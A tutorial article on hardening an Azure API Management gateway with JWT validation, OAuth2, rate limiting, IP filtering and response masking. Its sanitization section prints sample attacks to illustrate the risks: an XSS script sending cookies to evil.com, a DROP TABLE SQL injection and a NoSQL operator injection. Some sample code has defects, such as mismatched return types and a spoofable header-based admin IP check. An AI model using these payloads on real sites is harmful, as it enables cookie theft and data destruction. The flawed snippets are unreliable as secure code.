← Back to ArticlesAPI Management

Building a Secure API Gateway with Azure APIM Policies

Deep dive into JWT validation, OAuth2, rate limiting, and backend security policies in Azure API Management

Building a Secure API Gateway with Azure APIM Policies

Why API Gateway Security Matters

When building APIs in Azure, your API Management (APIM) instance is often the first line of defense against malicious attacks. Without proper security policies, your backend services are exposed to:

In this comprehensive guide, we'll build a production-ready secure API gateway with multiple layers of protection.


Understanding the Security Architecture

Before writing policies, let's understand the security layers we need:

        ┌─────────────────────────────────────────────────────────────┐
        │                     Client Applications                     │
        └─────────────────────────┬───────────────────────────────────┘
                                  │ HTTPS
        ┌─────────────────────────▼───────────────────────────────────┐
        │                   Azure API Management                      │
        │  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐  │
        │  │ Rate Limit  │  │  JWT Valid  │  │  OAuth2 Validation  │  │
        │  │   Policy    │  │   Policy    │  │     Policy          │  │
        │  └─────────────┘  └─────────────┘  └─────────────────────┘  │
        │  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐  │
        │  │ IP Filter   │  │  Header     │  │  Response           │  │
        │  │   Policy    │  │  Sanitize   │  │  Masking            │  │
        │  └─────────────┘  └─────────────┘  └─────────────────────┘  │
        └─────────────────────────┬───────────────────────────────────┘
                                  │
        ┌─────────────────────────▼───────────────────────────────────┐
        │                   Backend APIs                              │
        │              (Your Actual Services)                         │
        └─────────────────────────────────────────────────────────────┘

Step 1: JWT Token Validation

JWT (JSON Web Token) is the standard for API authentication. Let's implement proper JWT validation.

Why JWT?

Anatomy of a JWT Token

// Header - tells us the algorithm and token type
{
  "alg": "RS256",           // RSA signature with SHA-256
  "typ": "JWT"              // Token type
}

// Payload - contains the claims (data)
{
  "aud": "api://my-app-id",      // Audience - who this token is for
  "iss": "https://login.microsoftonline.com/tenant-id/v2.0",  // Issuer
  "iat": 1704067200,            // Issued at (Unix timestamp)
  "exp": 1704070800,            // Expiration time
  "oid": "user-object-id",       // User's Azure AD object ID
  "roles": ["User", "Admin"],   // Roles assigned to user
  "name": "John Doe",           // User's display name
  "preferred_username": "john@domain.com"  // User's email
}

// Signature - verifies the token wasn't tampered with
// This is a cryptographic signature using the private key of the issuer

The Policy Configuration

<inbound>
    <!-- Validate JWT token from Authorization header -->
    <validate-jwt header-name="Authorization" 
                  failed-validation-error-message="Unauthorized. Invalid or missing token.">
        <openid-config url="https://login.microsoftonline.com/{tenant-id}/v2.0/.well-known/openid-configuration" />
        <audiences>
            <audience>api://your-api-client-id</audience>
        </audiences>
        <issuers>
            <issuer>https://login.microsoftonline.com/{tenant-id}/v2.0</issuer>
        </issuers>
        <required-claims>
            <claim name="roles" match="any">
                <value>User</value>
                <value>Admin</value>
            </claim>
        </required-claims>
    </validate-jwt>
    
    <!-- Continue with other policies -->
    <base />
</inbound>

Understanding Each Element

<openid-config url="...">

<audiences>

<issuers>

<required-claims>

Backend Implementation - Validating JWT in Your API

// Program.cs - Configure authentication with JWT Bearer
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using System.IdentityModel.Tokens.Jwt;

var builder = WebApplication.CreateBuilder(args);

// Configure JWT Bearer authentication
builder.Services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.Authority = $"https://login.microsoftonline.com/{builder.Configuration["AzureAD:TenantId"]}/v2.0";
        options.Audience = builder.Configuration["AzureAD:ClientId"];
        
        // Token validation parameters - why each matters
        options.TokenValidationParameters = new TokenValidationParameters
        {
            // Ensure token is not expired - prevents use of old stolen tokens
            ValidateLifetime = true,
            
            // Require expiration claim - tokens without exp are security risk
            RequireExpirationTime = true,
            
            // Validate the signing key matches what we expect
            ValidateIssuerSigningKey = true,
            
            // Validate the issuer matches Azure AD
            ValidateIssuer = true,
            
            // Validate the audience matches our API
            ValidateAudience = true,
            
            // Clock skew allowance - prevents issues with time sync
            // 5 minutes is standard - gives buffer for distributed systems
            ClockSkew = TimeSpan.FromMinutes(5),
            
            // Valid issuers for Azure AD v2.0
            ValidIssuer = $"https://login.microsoftonline.com/{builder.Configuration["AzureAD:TenantId"]}/v2.0",
            
            // Valid audience should be the API's app ID URI
            ValidAudience = $"api://{builder.Configuration["AzureAD:ClientId"]}"
        };
        
        // Event handlers for debugging
        options.Events = new JwtBearerEvents
        {
            OnAuthenticationFailed = context => 
            {
                var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
                logger.LogError("Authentication failed: {Message}", context.Exception.Message);
                return Task.CompletedTask;
            },
            OnTokenValidated = context => 
            {
                var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
                var userId = context.Principal?.FindFirst("oid")?.Value;
                var roles = context.Principal?.FindAll("roles").Select(c => c.Value);
                logger.LogInformation("User {UserId} authenticated with roles: {Roles}", userId, string.Join(", ", roles ?? new[] { "none" }));
                return Task.CompletedTask;
            }
        };
    });

// Add authorization
builder.Services.AddAuthorization();

// Build the app
var app = builder.Build();

app.UseAuthentication();
app.UseAuthorization();

// Now you can protect endpoints
app.MapGet("/protected", () => "This is a protected resource")
    .RequireAuthorization();

app.Run();

Using the Authenticated User in Your Controller

using System.Security.Claims;
using Microsoft.AspNetCore.Authorization;

[ApiController]
[Route("api/[controller]")]
public class UsersController : ControllerBase
{
    private readonly IUserService _userService;
    private readonly ILogger<UsersController> _logger;

    public UsersController(IUserService userService, ILogger<UsersController> logger)
    {
        _userService = userService;
        _logger = logger;
    }

    [HttpGet("profile")]
    [Authorize]  // Requires valid JWT token
    public async Task<ActionResult<UserProfile>> GetProfile()
    {
        // Get user ID from JWT claims - this is the most secure way
        // The "oid" (object ID) claim is the user's Azure AD identity
        var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value 
                     ?? User.FindFirst("oid")?.Value;
        
        if (string.IsNullOrEmpty(userId))
        {
            _logger.LogWarning("Request without user ID in token");
            return Unauthorized();
        }

        _logger.LogInformation("Fetching profile for user {UserId}", userId);
        var profile = await _userService.GetProfileAsync(userId);
        
        return Ok(profile);
    }

    [HttpDelete("account")]
    [Authorize(Roles = "Admin")]  // Requires Admin role in JWT
    public async Task<ActionResult> DeleteUserAccount([FromBody] DeleteAccountRequest request)
    {
        // Get the calling user's ID for audit trail
        var callerId = User.FindFirst("oid")?.Value;
        var callerRoles = User.FindAll(ClaimTypes.Role).Select(c => c.Value);
        
        _logger.LogInformation("User {CallerId} (roles: {Roles}) attempting to delete account {TargetId}", 
            callerId, string.Join(",", callerRoles), request.UserId);

        // Additional authorization check
        if (!User.HasPermission("delete:users"))
        {
            return Forbid();
        }

        await _userService.DeleteAccountAsync(request.UserId);
        
        return NoContent();
    }
}

// Example of policy-based authorization
[HttpGet("reports")]
[Authorize(Policy = "CanViewReports")]  // Custom policy requiring specific permissions
public async Task<ActionResult<Reports>> GetReports([FromQuery] DateTime from, [FromQuery] DateTime to)
{
    var userPermissions = User.FindAll("roles").Select(r => r.Value).ToList();
    var departments = User.FindFirst("groups")?.Value?.Split(',') ?? Array.Empty<string>();
    
    // Additional logic for data scoping
    if (!User.IsInRole("SuperAdmin"))
    {
        // Filter reports to user's department only
        var userDept = departments.FirstOrDefault();
        return Ok(await _reportService.GetDepartmentReportsAsync(userDept, from, to));
    }
    
    return Ok(await _reportService.GetAllReportsAsync(from, to));
}

Common JWT Validation Issues and Solutions

// Problem 1: Token expired error
// Cause: Server clock is out of sync with Azure AD
// Solution: Use NTP to sync your server time

// Problem 2: Audience mismatch
// Cause: Token was requested for wrong audience (different API)
// Wrong: requesting token for Graph API but using for your API
// Solution: Request token with correct scope:
// Correct scope: "api://your-app-id/.default"
// Wrong: "https://graph.microsoft.com/.default"

// Problem 3: Signature invalid
// Cause: Token was modified after Azure AD issued it
// Solution: Never modify tokens; use them exactly as received

// Problem 4: Issuer mismatch
// Cause: Using v1.0 endpoint but expecting v2.0 tokens
// Solution: Use v2.0 endpoint consistently:
// https://login.microsoftonline.com/{tenant}/v2.0

// Problem 5: Claims missing
// Cause: Azure AD doesn't include requested claims by default
// Solution: Configure optional claims in app registration:
// In Azure Portal: App Registrations → Your App → Token configuration

Step 2: OAuth2 Authorization Code Flow

For user-facing applications, we need the full OAuth2 flow. Let's implement it properly.

The OAuth2 Flow Explained

┌──────────┐                              ┌──────────────┐
│   User   │                              │  Your App    │
└────┬─────┘                              └──────┬───────┘
     │                                           │
     │ 1. User clicks "Login"                    │
     │◄───────────────────────────────────────── │
     │                                           │
     │         2. Redirect to Azure AD           │
     │────────────────────────────────────────►  │
     │    https://login.microsoftonline.com/...  │
     │                                           │
     │    ┌────────────────────────────┐         │
     │    │    Azure AD Login Page     │         │
     │    │    (Hosted by Microsoft)   │         │
     │    └────────────────────────────┘         │
     │                                           │
     │ 3. User enters credentials                │
     │◄───────────────────────────────────────── │
     │                                           │
     │    4. Redirect with auth code             │
     │◄───────────────────────────────────────── │
     │    ?code=0.ABC.DEF...&state=xyz           │
     │                                           │
     │    5. Exchange code for tokens            │
     │────────────────────────────────────────►  │
     │    POST /oauth2/v2.0/token                │
     │                                           │
     │    6. Receive access + refresh token      │
     │◄───────────────────────────────────────── │
     │    { "access_token": "...",               │
     │      "refresh_token": "...",              │
     │      "expires_in": 3600 }                 │
     │                                           │
     │ 7. Use access token for API calls         │
     │◄───────────────────────────────────────── │
     │                                           │
     │         8. API validates token            │
     │────────────────────────────────────────►  │

Frontend Implementation - MSAL Library

// authConfig.ts - MSAL Configuration
import { Configuration, PopupConfiguration } from "@azure/msal-browser";

export const msalConfig: Configuration = {
    auth: {
        clientId: "YOUR_CLIENT_ID",           // Your app's client ID
        authority: "https://login.microsoftonline.com/YOUR_TENANT_ID/v2.0",
        redirectUri: window.location.origin,   // Where to redirect after login
        postLogoutRedirectUri: window.location.origin,
        navigateToLoginRequestUrl: true         // Save requested URL for redirect
    },
    cache: {
        cacheLocation: "sessionStorage",        // Where to store tokens
        storeAuthStateInCookie: false          // Security: don't store in cookies
    }
};

// Login request configuration
export const loginRequest = {
    scopes: ["api://YOUR_API_CLIENTID/access_as_user"]  // Your API's scope
};

// Graph API scopes (if needed)
export const graphConfig = {
    graphMeEndpoint: "https://graph.microsoft.com/v1.0/me"
};
// msalInstance.ts - Initialize MSAL
import { PublicClientApplication } from "@azure/msal-browser";

let msalInstance: PublicClientApplication | null = null;

export const getMsalInstance = async () => {
    if (!msalInstance) {
        msalInstance = new PublicClientApplication(msalConfig);
        await msalInstance.initialize();
    }
    return msalInstance;
};

// Login with popup (for single-page apps)
export const loginPopup = async () => {
    const instance = await getMsalInstance();
    
    try {
        const response = await instance.loginPopup(loginRequest);
        console.log("Login successful:", response.account?.username);
        return response;
    } catch (error) {
        console.error("Login failed:", error);
        throw error;
    }
};

// Login with redirect (for server-rendered apps)
export const loginRedirect = async () => {
    const instance = await getMsalInstance();
    await instance.loginRedirect(loginRequest);
};

// Get access token silently
export const getAccessToken = async () => {
    const instance = await getMsalInstance();
    const accounts = instance.getAllAccounts();
    
    if (accounts.length === 0) {
        throw new Error("No user is logged in");
    }
    
    try {
        const response = await instance.acquireTokenSilent({
            ...loginRequest,
            account: accounts[0]
        });
        return response.accessToken;
    } catch (error) {
        // If silent token acquisition fails, fall back to interactive
        console.log("Silent token acquisition failed, trying popup");
        return (await instance.acquireTokenPopup(loginRequest)).accessToken;
    }
};

// Logout
export const logout = async () => {
    const instance = await getMsalInstance();
    await instance.logoutPopup({
        postLogoutRedirectUri: window.location.origin
    });
};
// useAuth.ts - React hook for authentication
import { useState, useEffect, createContext, useContext } from "react";
import { getMsalInstance, loginPopup, logout as msalLogout, getAccessToken } from "./msalInstance";

interface AuthContextType {
    isAuthenticated: boolean;
    user: any | null;
    login: () => Promise<void>;
    logout: () => Promise<void>;
    getToken: () => Promise<string>;
}

const AuthContext = createContext<AuthContextType | null>(null);

export const AuthProvider = ({ children }: { children: React.ReactNode }) => {
    const [isAuthenticated, setIsAuthenticated] = useState(false);
    const [user, setUser] = useState<any | null>(null);

    useEffect(() => {
        const checkAuth = async () => {
            try {
                const instance = await getMsalInstance();
                const accounts = instance.getAllAccounts();
                
                if (accounts.length > 0) {
                    setIsAuthenticated(true);
                    setUser(accounts[0]);
                }
            } catch (error) {
                console.error("Auth check failed:", error);
            }
        };
        
        checkAuth();
    }, []);

    const login = async () => {
        await loginPopup();
        const instance = await getMsalInstance();
        const accounts = instance.getAllAccounts();
        if (accounts.length > 0) {
            setUser(accounts[0]);
            setIsAuthenticated(true);
        }
    };

    const logout = async () => {
        await msalLogout();
        setUser(null);
        setIsAuthenticated(false);
    };

    const getToken = async () => {
        return await getAccessToken();
    };

    return (
        <AuthContext.Provider value={{ isAuthenticated, user, login, logout, getToken }}>
            {children}
        </AuthContext.Provider>
    );
};

export const useAuth = () => {
    const context = useContext(AuthContext);
    if (!context) {
        throw new Error("useAuth must be used within AuthProvider");
    }
    return context;
};
// apiClient.ts - API client with automatic token handling
import { getAccessToken } from "./msalInstance";

class ApiClient {
    private baseUrl = "https://your-api.azure-api.net";
    
    private async getHeaders(): Promise<HeadersInit> {
        const token = await getAccessToken();
        return {
            "Authorization": `Bearer ${token}`,
            "Content-Type": "application/json"
        };
    }
    
    async get<T>(endpoint: string): Promise<T> {
        const response = await fetch(`${this.baseUrl}${endpoint}`, {
            method: "GET",
            headers: await this.getHeaders()
        });
        
        if (!response.ok) {
            const error = await response.text();
            throw new Error(`API Error: ${error}`);
        }
        
        return response.json();
    }
    
    async post<T>(endpoint: string, data: any): Promise<T> {
        const response = await fetch(`${this.baseUrl}${endpoint}`, {
            method: "POST",
            headers: await this.getHeaders(),
            body: JSON.stringify(data)
        });
        
        if (!response.ok) {
            const error = await response.text();
            throw new Error(`API Error: ${error}`);
        }
        
        return response.json();
    }
}

export const apiClient = new ApiClient();

Backend Token Validation

// For service-to-service communication (no user context)
// This is the Client Credentials flow

public class TokenService
{
    private readonly string _tenantId;
    private readonly string _clientId;
    private readonly string _clientSecret;

    public TokenService(IConfiguration configuration)
    {
        _tenantId = configuration["AzureAD:TenantId"];
        _clientId = configuration["AzureAD:ClientId"];
        _clientSecret = configuration["AzureAD:ClientSecret"];
    }

    public async Task<string> GetAccessTokenAsync()
    {
        // Use cached token if still valid
        if (_cachedToken != null && _tokenExpiry > DateTime.UtcNow)
        {
            return _cachedToken;
        }

        var tokenClient = new HttpClient();
        
        var requestBody = new Dictionary<string, string>
        {
            ["grant_type"] = "client_credentials",
            ["client_id"] = _clientId,
            ["client_secret"] = _clientSecret,
            ["scope"] = $"api://{_clientId}/.default"  // Request API access
        };

        var response = await tokenClient.PostAsync(
            $"https://login.microsoftonline.com/{_tenantId}/oauth2/v2.0/token",
            new FormUrlEncodedContent(requestBody));

        if (!response.IsSuccessStatusCode)
        {
            var error = await response.Content.ReadAsStringAsync();
            throw new Exception($"Failed to get token: {error}");
        }

        var result = await response.Content.ReadAsAsync<TokenResponse>();
        
        // Cache the token - but be careful with timing
        _cachedToken = result.AccessToken;
        _tokenExpiry = DateTime.UtcNow.AddSeconds(result.ExpiresIn - 60); // 60s buffer

        return result.AccessToken;
    }

    private string _cachedToken;
    private DateTime _tokenExpiry;
}

public class TokenResponse
{
    [JsonProperty("access_token")]
    public string AccessToken { get; set; }

    [JsonProperty("token_type")]
    public string TokenType { get; set; }

    [JsonProperty("expires_in")]
    public int ExpiresIn { get; set; }
}

Why Use Refresh Tokens?

// Access tokens typically expire in 1 hour (3600 seconds)
// This is intentional - limits damage if token is compromised

// Refresh tokens can last much longer (up to 90 days in Azure AD)
// This provides better UX - users don't need to log in frequently

// Implementing token refresh in your client
public class TokenManager
{
    private readonly HttpClient _httpClient;
    private string _refreshToken;
    private DateTime _tokenExpiry;
    
    public async Task<string> GetValidTokenAsync()
    {
        // Return cached token if still valid
        if (_accessToken != null && _tokenExpiry > DateTime.UtcNow.AddMinutes(5))
        {
            return _accessToken;
        }
        
        // Token expired or about to expire - refresh it
        return await RefreshTokenAsync();
    }
    
    private async Task RefreshTokenAsync()
    {
        var requestBody = new Dictionary<string, string>
        {
            ["grant_type"] = "refresh_token",
            ["refresh_token"] = _refreshToken,
            ["client_id"] = _clientId,
            ["client_secret"] = _clientSecret
        };
        
        var response = await _httpClient.PostAsync(
            _tokenEndpoint,
            new FormUrlEncodedContent(requestBody));
            
        if (!response.IsSuccessStatusCode)
        {
            // Refresh token might be revoked - user needs to log in again
            throw new AuthenticationException("Session expired. Please log in again.");
        }
        
        var newTokens = await response.Content.ReadAsAsync<TokenResponse>();
        
        _accessToken = newTokens.AccessToken;
        _refreshToken = newTokens.RefreshToken;
        _tokenExpiry = DateTime.UtcNow.AddSeconds(newTokens.ExpiresIn);
        
        return _accessToken;
    }
}

// Why refresh tokens improve security
// 1. Short-lived access tokens limit damage window if compromised
// 2. Refresh tokens can be instantly revoked if suspicious activity detected
// 3. Microsoft validates refresh tokens per session/device
// 4. Compromised refresh token = limited window of attack opportunity
// 5. You can implement token rotation on each refresh

Step 3: Rate Limiting Implementation

Rate limiting prevents abuse and ensures fair usage. Here's how to implement it correctly.

Why Rate Limiting?

Without rate limiting, a single client can overwhelm your API:

Without Rate Limiting - Traffic Spike Scenario:
┌────────────────────────────────────────────────────┐
│                  Traffic Spike                     │
│   ████████████████████████████████████████████████ │
│   1000 requests/second                             │
│                                                    │
│   Result: Server crashes → All users affected      │
│   Downtime: Minutes to hours                       │
│   Cost: Lost revenue, reputation damage            │
└────────────────────────────────────────────────────┘

With Rate Limiting - Controlled Traffic:
┌────────────────────────────────────────────────────┐
│              Controlled Traffic                    │
│   ████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░     │
│   100 requests allowed, remaining queued/rejected  │
│                                                    │
│   Result: System remains healthy                   │
│   Good users: Experience consistent performance    │
│   abusers: Get 429, can't overwhelm system         │
└────────────────────────────────────────────────────┘

Rate Limit Policy Configuration

<inbound>
    <!-- Rate limiting by subscription key -->
    <!-- Why subscription key? It's tied to the API product/plan -->
    <rate-limit-by-key calls="100" 
                       renewal-period="60" 
                       counter-key="@(context.Subscription?.Key ?? "anonymous")"
                       increment-condition="@(context.Request.Method == "GET")" />
    
    <!-- Alternative: Rate limiting by JWT claims (per-user) -->
    <!-- Use this when you want individual user limits -->
    <rate-limit-by-key calls="50" 
                       renewal-period="60" 
                       counter-key="@(context.User?.FindFirst("oid")?.Value ?? "anonymous")"
                       increment-condition="@(context.Request.Method != "OPTIONS")" />
    
    <!-- For write operations, be more restrictive -->
    <rate-limit-by-key calls="10" 
                       renewal-period="60" 
                       counter-key="@(context.User?.FindFirst("oid")?.Value ?? "anonymous")"
                       increment-condition="@(context.Request.Method == "POST" || context.Request.Method == "PUT" || context.Request.Method == "DELETE")" />
                       
    <base />
</inbound>

<outbound>
    <!-- Add rate limit headers so clients know their quota -->
    <!-- This is critical for client-side rate limit handling -->
    <set-header name="X-Rate-Limit-Limit" exists-action="override">
        <value>100</value>
    </set-header>
    <set-header name="X-Rate-Limit-Remaining" exists-action="override">
        <!-- This comes from APIM's rate limit tracking -->
        <value>@(context.Variables.GetValueOrDefault<int>("ratelimit.remaining", 0).ToString())</value>
    </set-header>
    <set-header name="X-Rate-Limit-Reset" exists-action="override">
        <!-- Unix timestamp when the rate limit window resets -->
        <value>@(context.Variables.GetValueOrDefault<DateTime>("ratelimit.reset", DateTime.UtcNow).ToUnixTimeSeconds().ToString())</value>
    </set-header>
</outbound>

Handling Rate Limit Responses in Your Client

// apiClient.ts - Smart retry with rate limit handling
class SmartApiClient {
    private maxRetries = 3;
    private baseDelay = 1000; // 1 second
    
    async fetchWithRetry<T>(url: string, options: RequestInit = {}): Promise<T> {
        let lastError: Error | null = null;
        
        for (let attempt = 0; attempt < this.maxRetries; attempt++) {
            try {
                const response = await fetch(url, options);
                
                // Success!
                if (response.ok) {
                    return response.json();
                }
                
                // Rate limited - need to wait and retry
                if (response.status === 429) {
                    const retryAfter = response.headers.get("Retry-After");
                    const waitTime = retryAfter 
                        ? parseInt(retryAfter) * 1000 
                        : this.baseDelay * Math.pow(2, attempt);
                    
                    console.log(`Rate limited. Waiting ${waitTime}ms before retry ${attempt + 1}/${this.maxRetries}`);
                    await this.sleep(waitTime);
                    continue;
                }
                
                // Other errors - don't retry
                const errorBody = await response.text();
                throw new Error(`HTTP ${response.status}: ${errorBody}`);
                
            } catch (error) {
                lastError = error as Error;
                
                // Network errors - retry with exponential backoff
                if (this.isNetworkError(error)) {
                    const waitTime = this.baseDelay * Math.pow(2, attempt);
                    console.log(`Network error. Retrying in ${waitTime}ms...`);
                    await this.sleep(waitTime);
                } else {
                    // Non-retryable error
                    throw error;
                }
            }
        }
        
        throw lastError || new Error("Max retries exceeded");
    }
    
    private sleep(ms: number): Promise<void> {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    
    private isNetworkError(error: any): boolean {
        return error.name === "TypeError" && error.message.includes("fetch");
    }
}
// C# implementation of retry logic
public class ResilientApiClient
{
    private readonly HttpClient _httpClient;
    private readonly ILogger<ResilientApiClient> _logger;
    
    public async Task<T> GetAsync<T>(string endpoint, CancellationToken ct = default)
    {
        var attempt = 0;
        var maxAttempts = 3;
        var delay = TimeSpan.FromSeconds(1);
        
        while (attempt < maxAttempts)
        {
            try
            {
                var response = await _httpClient.GetAsync(endpoint, ct);
                
                if (response.IsSuccessStatusCode)
                {
                    return await response.Content.ReadAsAsync<T>();
                }
                
                if (response.StatusCode == HttpStatusCode.TooManyRequests)
                {
                    var retryAfter = response.Headers.RetryAfter?.Delta ?? delay;
                    _logger.LogWarning("Rate limited. Retry-After: {RetryAfter}", retryAfter);
                    
                    await Task.Delay(retryAfter, ct);
                    attempt++;
                    delay *= 2;  // Exponential backoff
                    continue;
                }
                
                response.EnsureSuccessStatusCode();
            }
            catch (TaskCanceledException) when (ct.IsCancellationRequested)
            {
                throw;
            }
            catch (TaskCanceledException)
            {
                // Timeout - retry
                _logger.LogWarning("Request timeout. Attempt {Attempt}/{Max}", attempt + 1, maxAttempts);
                attempt++;
                await Task.Delay(delay, ct);
                delay *= 2;
            }
        }
        
        throw new HttpRequestException("Max retries exceeded for API call");
    }
}

Why Exponential Backoff?

Without backoff:     With exponential backoff:
                    
100 requests         100 requests at once
|                     |
|                     | wait 1s
| wait 1s            | wait 2s
| wait 1s            | wait 4s
| wait 1s            | wait 8s
|                     |
v                     v
Server gets          Server gets
hammered             breathing room

Result: 429          Result: Most succeed
overwhelmed         with minimal wait

The reason exponential backoff works:

  1. Gives the system time to recover between attempts
  2. Prevents "thundering herd" problem where all clients retry simultaneously
  3. Respects server's rate limit windows
  4. RFC 6585 compliant approach
  5. Adapts to varying server capacities

Step 4: IP Filtering and Restrictions

Block malicious IPs and restrict access to specific networks.

IP Whitelist Configuration

<inbound>
    <!-- Method 1: Allow specific ranges only -->
    <ip-filter action="allow">
        <!-- Azure Front Door IP ranges for APIM -->
        <address>13.107.42.0/24</address>  
        <address>13.107.128.0/22</address>
        
        <!-- Your internal network -->
        <address>10.0.0.0/8</address>    
        <address>172.16.0.0/12</address>
        
        <!-- Specific IPs -->
        <address-range from="192.168.1.0" to="192.168.1.255" />
    </ip-filter>
    
    <!-- Method 2: Block known malicious IPs -->
    <ip-filter action="deny">
        <!-- Known bad actors - maintain this list! -->
        <address>185.220.101.1</address>  <!-- Example malicious IP -->
        <address>91.121.87.10</address>
        <address-range from="1.2.3.0" to="1.2.3.255" />
    </ip-filter>
    
    <!-- Method 3: Combine both - default deny, allow specific -->
    <!-- Note: This requires policy order carefully -->
    
    <base />
</inbound>

Why IP Filtering Matters

// In your backend API, validate source IP for sensitive operations
public class SecureAdminController : ControllerBase
{
    private readonly ILogger<SecureAdminController> _logger;
    private readonly IConfiguration _configuration;

    [HttpPost("admin/delete-user")]
    [Authorize(Roles = "Admin")]
    public async Task<IActionResult> DeleteUser([FromBody] DeleteUserRequest request)
    {
        // Get the original client IP
        // Important: If behind a load balancer, check X-Forwarded-For
        var clientIp = GetClientIpAddress();
        
        // Log the attempt for security monitoring
        _logger.LogInformation(
            "Admin action 'DeleteUser' by {UserId} from IP {Ip}", 
            User.FindFirst("oid")?.Value, 
            clientIp);
        
        // Validate admin is accessing from allowed network
        if (!IsAdminNetwork(clientIp))
        {
            _logger.LogWarning(
                "Admin action from unapproved IP: {Ip} - User: {UserId}", 
                clientIp, 
                User.FindFirst("oid")?.Value);
            
            // Don't reveal that this IP is blocked
            return Forbid("You don't have permission to perform this action");
        }
        
        await _userService.DeleteUserAsync(request.UserId);
        return Ok(new { message = "User deleted successfully" });
    }

    private string GetClientIpAddress()
    {
        // Check X-Original-IP header (set by APIM or API Gateway)
        var originalIp = Request.Headers["X-Original-IP"].FirstOrDefault();
        if (!string.IsNullOrEmpty(originalIp))
            return originalIp;
        
        // Check X-Forwarded-For (standard for load balancers/proxies)
        var forwardedFor = Request.Headers["X-Forwarded-For"].FirstOrDefault();
        if (!string.IsNullOrEmpty(forwardedFor))
            return forwardedFor.Split(',').First().Trim();
        
        // Fall back to connection remote IP
        return HttpContext.Connection.RemoteIpAddress?.ToString() ?? "unknown";
    }

    private bool IsAdminNetwork(string ip)
    {
        // Your admin networks - update this list!
        var adminRanges = new[] 
        {
            IPNetwork.Parse("10.0.0.0/8"),
            IPNetwork.Parse("172.16.0.0/12"),
            IPNetwork.Parse("192.168.0.0/16")
        };
        
        if (!IPAddress.TryParse(ip, out var ipAddr))
            return false;
            
        return adminRanges.Any(range => range.Contains(ipAddr));
    }
}

Step 5: Request/Response Sanitization

Prevent injection attacks and protect sensitive data.

Remove Sensitive Headers from Request

<inbound>
    <!-- Remove internal headers that shouldn't reach backend -->
    <!-- These headers might expose infrastructure details -->
    <set-header name="X-Internal-Tracking-Id" exists-action="delete" />
    <set-header name="X-Deployment-Id" exists-action="delete" />
    <set-header name="X-Azure-Functions-Execution-Id" exists-action="delete" />
    
    <!-- Generate new correlation ID for tracking -->
    <set-header name="X-Correlation-Id" exists-action="override">
        <value>@(Guid.NewGuid().ToString())</value>
    </set-header>
    
    <!-- Validate Content-Type to prevent content injection -->
    <choose>
        <when condition="@(context.Request.Headers.GetValueOrDefault("Content-Type","").Contains("application/json") || context.Request.Method == "GET")">
            <continue />
        </when>
        <otherwise>
            <return-response>
                <set-status code="415" reason="Unsupported Media Type" />
                <set-body>{"error": "Only application/json content type supported for request body"}</set-body>
            </return-response>
        </otherwise>
    </choose>
    
    <base />
</inbound>

Mask Sensitive Response Data

<outbound>
    <!-- Mask credit card numbers in responses -->
    <set-body>@{
        var body = context.Response.Body as JObject;
        if (body != null)
        {
            // Mask credit card numbers - only show last 4 digits
            if (body["payment"]?["cardNumber"] != null)
            {
                var cardNumber = body["payment"]["cardNumber"].ToString();
                if (cardNumber.Length >= 4)
                {
                    body["payment"]["cardNumber"] = "****-****-****-" + cardNumber.Substring(cardNumber.Length - 4);
                }
            }
            
            // Mask Social Security Numbers
            if (body["ssn"] != null)
            {
                body["ssn"] = "***-**-" + body["ssn"].ToString().Substring(body["ssn"].ToString().Length - 4);
            }
            
            // Remove internal IDs that shouldn't be exposed
            body.Remove("internalId");
            body.Remove("systemTraceId");
            body.Remove("databaseId");
            
            // Mask API keys in response
            if (body["apiKey"] != null)
            {
                var apiKey = body["apiKey"].ToString();
                if (apiKey.Length > 8)
                {
                    body["apiKey"] = apiKey.Substring(0, 4) + "****" + apiKey.Substring(apiKey.Length - 4);
                }
            }
        }
        return body?.ToString();
    }</set-body>
    
    <!-- Remove backend headers that shouldn't reach client -->
    <!-- These reveal server technology -->
    <set-header name="X-Powered-By" exists-action="delete" />
    <set-header name="X-AspNet-Version" exists-action="delete" />
    <set-header name="Server" exists-action="delete" />
    <set-header name="X-Azure-Deployment-Id" exists-action="delete" />
    
    <!-- Add security headers -->
    <set-header name="Strict-Transport-Security" exists-action="override">
        <value>max-age=31536000; includeSubDomains</value>
    </set-header>
    <set-header name="X-Content-Type-Options" exists-action="override">
        <value>nosniff</value>
    </set-header>
    <set-header name="X-Frame-Options" exists-action="override">
        <value>DENY</value>
    </set-header>
    <set-header name="Content-Security-Policy" exists-action="override">
        <value>default-src 'self'</value>
    </set-header>
    
    <base />
</outbound>

Why Sanitization is Critical

// Example of injection attacks that sanitization prevents

// 1. XSS (Cross-Site Scripting) Attack
// Without sanitization, an attacker could inject:
{
  "comment": "<script>document.location='https://evil.com/?c='+document.cookie</script>"
}
// When another user views this comment, their cookies are stolen!

// 2. SQL Injection Attack
// If you do this (NEVER DO THIS):
var sql = $"SELECT * FROM Users WHERE Name = '{userInput}'";
// Attacker enters: "'; DROP TABLE Users;--"
// Results in: SELECT * FROM Users WHERE Name = ''; DROP TABLE Users;--'

// 3. NoSQL Injection
// If using MongoDB without validation:
var query = new BsonDocument("username", userInput);
// Attacker enters: { "$gt": "" } to match all users

// Proper sanitization in your API:
public class UserInputValidator
{
    private static readonly Regex HtmlPattern = new Regex(
        @"<script[^>]*>.*?</script>|<[^>]+on\w+\s*=", 
        RegexOptions.IgnoreCase | RegexOptions.Compiled);

    public CreateUserRequest Validate(CreateUserRequest request)
    {
        // Remove HTML/script tags from name
        if (!string.IsNullOrEmpty(request.Name))
        {
            var sanitized = HtmlPattern.Replace(request.Name, "");
            request.Name = sanitized.Trim();
        }
        
        // Validate email format strictly
        if (!IsValidEmail(request.Email))
            throw new ValidationException("Invalid email format");
        
        // Limit string lengths to prevent buffer overflow
        if (request.Name?.Length > 100)
            request.Name = request.Name.Substring(0, 100);
            
        return request;
    }
    
    private bool IsValidEmail(string email)
    {
        // Strict email validation
        return !string.IsNullOrWhiteSpace(email) 
            && Regex.IsMatch(email, @"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$");
    }
}

